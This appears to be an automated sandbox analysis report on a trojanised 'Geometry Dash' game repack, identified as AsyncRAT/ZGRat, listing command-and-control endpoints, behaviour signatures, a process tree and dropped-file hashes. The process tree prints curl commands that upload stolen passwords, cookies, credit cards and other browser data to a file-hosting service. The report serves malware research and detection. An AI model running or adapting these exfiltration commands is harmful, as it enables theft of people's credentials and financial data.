Analysis

  • max time kernel
    42s
  • max time network
    44s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/04/2024, 08:27

General

  • Target
    Geometry Dash Repack by KrutoiDedusZhar.exe
  • Size 16.2MB
  • Sample240413-kcrbpacd45
  • SHA256 999bc8a61afb4843972ebf37989c2c77f31bd68442f12d159d95667ef3565b5e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • Default

C2
  • 0.tcp.eu.ngrok.io:10586

  • 0.tcp.eu.ngrok.io:4210

  • 0.tcp.eu.ngrok.io:666

  • 0.tcp.eu.ngrok.io:13229

Mutex
  • ZtjUDZljQjiE

Attributes
  • delay

    3

  • install

    false

  • install_file

    tapinstall.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 44 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 26 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Geometry Dash Repack by KrutoiDedusZhar.exe
    "C:\Users\Admin\AppData\Local\Temp\Geometry Dash Repack by KrutoiDedusZhar.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1568
    • C:\Users\Admin\AppData\Local\Temp\Geometry Dash Cheats Free 2024.exe
      "C:\Users\Admin\AppData\Local\Temp\Geometry Dash Cheats Free 2024.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4472
      • C:\Users\Admin\AppData\Local\Temp\Geometry Dash Cheats Free 2024.exe
        "C:\Users\Admin\AppData\Local\Temp\Geometry Dash Cheats Free 2024.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1680
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1504
          • C:\Windows\system32\tasklist.exe
            tasklist
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1708
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store1.gofile.io/uploadFile"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4676
          • C:\Windows\system32\curl.exe
            curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store1.gofile.io/uploadFile
            5⤵
              PID:4964
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store1.gofile.io/uploadFile"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2036
            • C:\Windows\system32\curl.exe
              curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store1.gofile.io/uploadFile
              5⤵
                PID:1044
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store1.gofile.io/uploadFile"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2180
              • C:\Windows\system32\curl.exe
                curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store1.gofile.io/uploadFile
                5⤵
                  PID:2648
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store1.gofile.io/uploadFile"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2436
                • C:\Windows\system32\curl.exe
                  curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store1.gofile.io/uploadFile
                  5⤵
                    PID:2120
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store1.gofile.io/uploadFile"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4996
                  • C:\Windows\system32\curl.exe
                    curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store1.gofile.io/uploadFile
                    5⤵
                      PID:3720
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store1.gofile.io/uploadFile"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1536
                    • C:\Windows\system32\curl.exe
                      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store1.gofile.io/uploadFile
                      5⤵
                        PID:3044
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/CompareBackup.pptx" https://store1.gofile.io/uploadFile"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4580
                      • C:\Windows\system32\curl.exe
                        curl -F "file=@C:\Users\Admin/Documents/CompareBackup.pptx" https://store1.gofile.io/uploadFile
                        5⤵
                          PID:2472
                  • C:\Users\Admin\AppData\Local\Temp\updater.exe
                    "C:\Users\Admin\AppData\Local\Temp\updater.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:1600
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDC85.tmp.bat""
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1876
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout 3
                        4⤵
                        • Delays execution with timeout.exe
                        PID:740

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      Geometry Dash Cheats Free 2024.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\Geometry Dash Cheats Free 2024.exe
                      • Size 16.1MB
                      • SHA256 de19c26c07b215cfbed6bc008e98952494aba09130b8dddd3a5528d5855aa423
                      • MD5 SHA1 SHA512 SSDEEP

                      _raw_cbc.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\Crypto\Cipher\_raw_cbc.pyd
                      • Size 12KB
                      • SHA256 11dd1b49f70db23617e84e08e709d4a9c86759d911a24ebddfb91c414cc7f375
                      • MD5 SHA1 SHA512 SSDEEP

                      _raw_ecb.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\Crypto\Cipher\_raw_ecb.pyd
                      • Size 10KB
                      • SHA256 3e0d07bbf93e0748b42b1c2550f48f0d81597486038c22548224584ae178a543
                      • MD5 SHA1 SHA512 SSDEEP

                      VCRUNTIME140.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\VCRUNTIME140.dll
                      • Size 116KB
                      • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                      • MD5 SHA1 SHA512 SSDEEP

                      VCRUNTIME140_1.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\VCRUNTIME140_1.dll
                      • Size 48KB
                      • SHA256 a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5
                      • MD5 SHA1 SHA512 SSDEEP

                      _asyncio.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_asyncio.pyd
                      • Size 69KB
                      • SHA256 2dfcaec25de17be21f91456256219578eae9a7aec5d21385dec53d0840cf0b8d
                      • MD5 SHA1 SHA512 SSDEEP

                      _bz2.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_bz2.pyd
                      • Size 83KB
                      • SHA256 f81dc49eac5ecc528e628175add2ff6bda695a93ea76671d7187155aa6326abb
                      • MD5 SHA1 SHA512 SSDEEP

                      _cffi_backend.cp312-win_amd64.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_cffi_backend.cp312-win_amd64.pyd
                      • Size 178KB
                      • SHA256 d8a76d1e31bbd62a482dea9115fc1a109cb39af4cf6d1323409175f3c93113a7
                      • MD5 SHA1 SHA512 SSDEEP

                      _ctypes.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_ctypes.pyd
                      • Size 122KB
                      • SHA256 be9828a877e412b48d75addc4553d2d2a60ae762a3551f9731b50cae7d65b570
                      • MD5 SHA1 SHA512 SSDEEP

                      _decimal.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_decimal.pyd
                      • Size 245KB
                      • SHA256 e4104e47399d3f635a14d649f61250e9fd37f7e65c81ffe11f099923f8532577
                      • MD5 SHA1 SHA512 SSDEEP

                      _hashlib.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_hashlib.pyd
                      • Size 64KB
                      • SHA256 79c4cde23397b9a35b54a3c2298b3c7a844454f4387cb0693f15e4facd227dd2
                      • MD5 SHA1 SHA512 SSDEEP

                      _lzma.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_lzma.pyd
                      • Size 156KB
                      • SHA256 a6e2a5bb7a33ad9054f178786a031a46ea560faeef1fb96259331500aae9154c
                      • MD5 SHA1 SHA512 SSDEEP

                      _multiprocessing.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_multiprocessing.pyd
                      • Size 34KB
                      • SHA256 467b0fef42d70b55abf41d817dff7631faeef84dce64f8aadb5690a22808d40c
                      • MD5 SHA1 SHA512 SSDEEP

                      _overlapped.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_overlapped.pyd
                      • Size 54KB
                      • SHA256 67e6ca6f1645c6928ade6718db28aff1c49a192e8811732b5e99364991102615
                      • MD5 SHA1 SHA512 SSDEEP

                      _queue.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_queue.pyd
                      • Size 31KB
                      • SHA256 3f57f29abd86d4dc8f4ca6c3f190ebb57d429143d98f0636ff5117e08ed81f9b
                      • MD5 SHA1 SHA512 SSDEEP

                      _socket.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_socket.pyd
                      • Size 81KB
                      • SHA256 7daff6aa3851a913ed97995702a5dfb8a27cb7cf00fb496597be777228d7564a
                      • MD5 SHA1 SHA512 SSDEEP

                      _sqlite3.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_sqlite3.pyd
                      • Size 121KB
                      • SHA256 3e96cd9e8abbea5c6b11ee91301d147f3e416ac6c22eb53123eaeae51592d2fe
                      • MD5 SHA1 SHA512 SSDEEP

                      _ssl.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_ssl.pyd
                      • Size 174KB
                      • SHA256 d568b3c99bf0fc35a1f3c5f66b4a9d3b67e23a1d3cf0a4d30499d924d805f5aa
                      • MD5 SHA1 SHA512 SSDEEP

                      _uuid.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_uuid.pyd
                      • Size 24KB
                      • SHA256 d132f754471bd8a6f6d7816453c2e542f250a4d8089b657392fe61a500ae7899
                      • MD5 SHA1 SHA512 SSDEEP

                      _wmi.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\_wmi.pyd
                      • Size 35KB
                      • SHA256 1a105311a5ed88a31472b141b4b6daa388a1cd359fe705d9a7a4aba793c5749f
                      • MD5 SHA1 SHA512 SSDEEP

                      base_library.zip

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\base_library.zip
                      • Size 1.3MB
                      • SHA256 8de4f013bfecb9431aabaa97bb084fb7de127b365b9478d6f7610959bf0d2783
                      • MD5 SHA1 SHA512 SSDEEP

                      md.cp312-win_amd64.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\charset_normalizer\md.cp312-win_amd64.pyd
                      • Size 10KB
                      • SHA256 ecf12e2c0a00c0ed4e2343ea956d78eed55e5a36ba49773633b2dfe7b04335c0
                      • MD5 SHA1 SHA512 SSDEEP

                      md__mypyc.cp312-win_amd64.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
                      • Size 120KB
                      • SHA256 4107b1d6f11d842074a9f21323290bbe97e8eed4aa778fbc348ee09cc4fa4637
                      • MD5 SHA1 SHA512 SSDEEP

                      libcrypto-3.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\libcrypto-3.dll
                      • Size 5.0MB
                      • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
                      • MD5 SHA1 SHA512 SSDEEP

                      libffi-8.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\libffi-8.dll
                      • Size 38KB
                      • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                      • MD5 SHA1 SHA512 SSDEEP

                      libssl-3.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\libssl-3.dll
                      • Size 768KB
                      • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
                      • MD5 SHA1 SHA512 SSDEEP

                      pyexpat.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\pyexpat.pyd
                      • Size 196KB
                      • SHA256 4779e19ee0f4f0be953805efa1174e127f6e91ad023bd33ac7127fef35e9087b
                      • MD5 SHA1 SHA512 SSDEEP

                      python3.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\python3.dll
                      • Size 66KB
                      • SHA256 d2e348e615a5d3b08b0bac29b91f79b32f0c1d0be48976450042462466b51123
                      • MD5 SHA1 SHA512 SSDEEP

                      python312.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\python312.dll
                      • Size 6.6MB
                      • SHA256 c98ba3354a7d1f69bdca42560feec933ccba93afcc707391049a065e1079cddb
                      • MD5 SHA1 SHA512 SSDEEP

                      select.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\select.pyd
                      • Size 29KB
                      • SHA256 680df34fb908c49410ac5f68a8c05d92858acd111e62d1194d15bdce520bd6c3
                      • MD5 SHA1 SHA512 SSDEEP

                      sqlite3.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\sqlite3.dll
                      • Size 1.5MB
                      • SHA256 7da1c4604fc97ba033830a2703d92bb6d10a9bba201ec64d13d5ccbfecd57d49
                      • MD5 SHA1 SHA512 SSDEEP

                      unicodedata.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI44722\unicodedata.pyd
                      • Size 1.1MB
                      • SHA256 10ffd5207eeff5a836b330b237d766365d746c30e01abf0fd01f78548d1f1b04
                      • MD5 SHA1 SHA512 SSDEEP

                      updater.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\updater.exe
                      • Size 58KB
                      • SHA256 4d5c1467c4a1c3d8de9cde45abd806945501117899ee107f208f38c06434a325
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/1600-227-0x0000000074A90000-0x0000000075240000-memory.dmp

                      memory/1600-92-0x0000000074A90000-0x0000000075240000-memory.dmp

                      memory/1600-160-0x0000000005040000-0x0000000005050000-memory.dmp

                      memory/1600-91-0x0000000000670000-0x0000000000684000-memory.dmp

                      memory/1600-228-0x0000000005040000-0x0000000005050000-memory.dmp

                      memory/1600-229-0x0000000005670000-0x000000000570C000-memory.dmp

                      memory/1600-230-0x0000000005CC0000-0x0000000006264000-memory.dmp

                      memory/1600-231-0x0000000005780000-0x00000000057E6000-memory.dmp

                      memory/1600-232-0x0000000006670000-0x00000000066E6000-memory.dmp

                      memory/1600-233-0x00000000065F0000-0x0000000006654000-memory.dmp

                      memory/1600-234-0x0000000006730000-0x000000000674E000-memory.dmp

                      memory/1600-238-0x0000000074A90000-0x0000000075240000-memory.dmp